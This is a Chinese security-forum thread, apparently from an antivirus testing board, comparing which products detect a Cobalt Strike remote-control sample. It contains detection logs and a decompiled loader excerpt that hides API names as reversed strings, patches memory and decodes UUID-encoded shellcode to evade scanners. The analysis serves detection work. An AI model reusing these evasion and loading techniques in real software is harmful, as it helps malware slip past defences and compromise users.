CS远控

hansyu

1073328164 发表于 2024-7-3 14:21
迈克菲 miss

McAfee
Real Protect-HT.aa-1!4675223353a1

1073328164

hansyu 发表于 2024-7-3 17:21
McAfee
Real Protect-HT.aa-1!4675223353a1

重测了下的确入库了，还算挺快

UNknownOoo

X-Sec

1. ---------------------
   
2. 2024/07/03 17:29:23 Threat Detected: C:\Users\UnknownOoo\Downloads\Compressed\2229f21936a0c76a67edefec5b13a5e4b25630ddd5e1110b02dc591e94403347 -- [rame-tfe] HackTool.CobaltStrike!8.1216E

复制代码

安静的Snow

sep norton v22 扫描miss

DisaPDB

1. sub_40172D(v35, v36);
   
2.   sub_40172D(v34, v3);
   
3.   sub_40172D(v33, v4);
   
4.   strcpy(&v32[10], "llDdaoLrdL");
   
5.   strcpy(v32, "lld.lldtn");
   
6.   strcpy(ModuleName, "lld.23lenreK");
   
7.   sub_4016B0(&v32[10]);
   
8.   sub_4016B0(v32);
   
9.   sub_4016B0(ModuleName);
   
10.   sub_4015E6(v39, v35);
    
11.   sub_4015E6(v38, v34);
    
12.   sub_4015E6(v37, v33);
    
13.   LODWORD(v36[12]) = 48;
    
14.   v36[13] = 0i64;
    
15.   LODWORD(v36[15]) = 64;
    
16.   v36[14] = (__int64)v39;
    
17.   v36[16] = 0i64;
    
18.   v36[17] = 0i64;
    
19.   LODWORD(v36[6]) = 48;
    
20.   v36[7] = 0i64;
    
21.   LODWORD(v36[9]) = 64;
    
22.   v36[8] = (__int64)v38;
    
23.   v36[10] = 0i64;
    
24.   v36[11] = 0i64;
    
25.   LODWORD(v36[0]) = 48;
    
26.   v36[1] = 0i64;
    
27.   LODWORD(v36[3]) = 64;
    
28.   v36[2] = (__int64)v37;
    
29.   v36[4] = 0i64;
    
30.   v36[5] = 0i64;
    
31.   strcpy(v30, "AeldnaHeludoMteG");
    
32.   sub_4016B0(v30);
    
33.   ModuleHandleA = GetModuleHandleA(ModuleName);
    
34.   ProcAddress = GetProcAddress(ModuleHandleA, v30);
    
35.   strcpy(v29, "sserddAcorPteG");
    
36.   sub_4016B0(v29);
    
37.   v6 = (HMODULE)((__int64 (__fastcall *)(CHAR *))ProcAddress)(ModuleName);
    
38.   v58 = GetProcAddress(v6, v29);
    
39.   strcpy(&v28[15], "collAlautriV");
    
40.   sub_4016B0(&v28[15]);
    
41.   v7 = GetModuleHandleA(ModuleName);
    
42.   v57 = (__int64 (__fastcall *)(_QWORD, __int64, __int64, __int64))((__int64 (__fastcall *)(HMODULE, char *))v58)(
    
43.                                                                      v7,
    
44.                                                                      &v28[15]);
    
45.   strcpy(v28, "tcetorPlautriV");
    
46.   sub_4016B0(v28);
    
47.   v8 = GetModuleHandleA(ModuleName);
    
48.   v56 = (void (__fastcall *)(char *, __int64, __int64, int *))((__int64 (__fastcall *)(HMODULE, char *))v58)(v8, v28);
    
49.   v9 = GetModuleHandleA(v32);
    
50.   v55 = ((__int64 (__fastcall *)(HMODULE, char *))v58)(v9, &v32[10]);
    
51.   v27[0] = 73;
    
52.   v27[1] = -69;
    
53.   v25[0] = 65;
    
54.   v25[1] = -1;
    
55.   v25[2] = -29;
    
56.   v25[3] = -61;
    
57.   v54 = v55 + 5;
    
58.   v26 = v55 + 5;
    
59.   v53 = (char *)v57(0i64, 19i64, 12288i64, 4i64);
    
60.   sub_401550(v53, &unk_407000, 5i64);
    
61.   sub_401550(v53 + 5, v27, 2i64);
    
62.   sub_401550(v53 + 7, &v26, 8i64);
    
63.   sub_401550(v53 + 15, v25, 4i64);
    
64.   v24 = 0;
    
65.   v56(v53, 30i64, 32i64, &v24);
    
66.   v52 = (void (__fastcall *)(_QWORD, _QWORD, char *, __int64 *))v53;
    
67.   v23 = 0i64;
    
68.   ((void (__fastcall *)(_QWORD, _QWORD, char *, __int64 *))v53)(0i64, 0i64, v39, &v23);
    
69.   v22 = 0i64;
    
70.   v52(0i64, 0i64, v38, &v22);
    
71.   v21 = 0i64;
    
72.   v52(0i64, 0i64, v37, &v21);
    
73.   v51 = (__int64 (__fastcall *)(__int64, char *))((__int64 (__fastcall *)(__int64, char *))v58)(v22, v29);
    
74.   v50 = (__int64 (__fastcall *)(_QWORD, __int64, __int64, __int64))v51(v22, &v28[15]);
    
75.   v49 = (void (__fastcall *)(__int64, __int64, __int64, char *))v51(v22, v28);
    
76.   strcpy(v20, "yromeMssecorPetirW");
    
77.   sub_4016B0(v20);
    
78.   v48 = (void (__fastcall *)(__int64, __int64, void *, __int64, _QWORD))v51(v22, v20);
    
79.   strcpy(v19, "ssecorPtnerruCteG");
    
80.   sub_4016B0(v19);
    
81.   v47 = (__int64 (*)(void))v51(v22, v19);
    
82.   memcpy(StringUuid, off_406020, 0x1F8ui64);
    
83.   v46 = 63;
    
84.   Block = malloc(0x3F0ui64);
    
85.   if ( !Block )
    
86.     return -1;
    
87.   for ( i = 0; i < v46; ++i )
    
88.   {
    
89.     if ( UuidFromStringA(StringUuid[i], (UUID *)Block + i) )
    
90.     {
    
91.       free(Block);
    
92.       return -1;
    
93.     }
    
94.   }

复制代码

动态解析完成函数调用以加载内存。

Nocria

IKARUS

1. Date and Time:       7/3/2024 7:29:19 PM
   
2. File Name:           2229f21936a0c76a67edefec5b13a5e4b25630ddd5e1110b02dc591e94403347
   
3. Original Path:       C:\Users\promi\Desktop\2229f21936a0c76a67edefec5b13a5e4b25630ddd5e1110b02dc591e94403347
   
4. File Size:           33280 b
   
5. File Size:           32.5 kB
   
6. Detection Name:      Trojan.Druid
   
7. Detection-ID:        5482079
   
8. Suggestion:          Backup and Delete

复制代码

Dream-XJ

BEST

心醉咖啡

真小读者 发表于 2024-7-3 13:41
金山

小红伞报的，毒霸个人版本不报

Im_Zeus

小A miss

123456aaaafsdeg

江民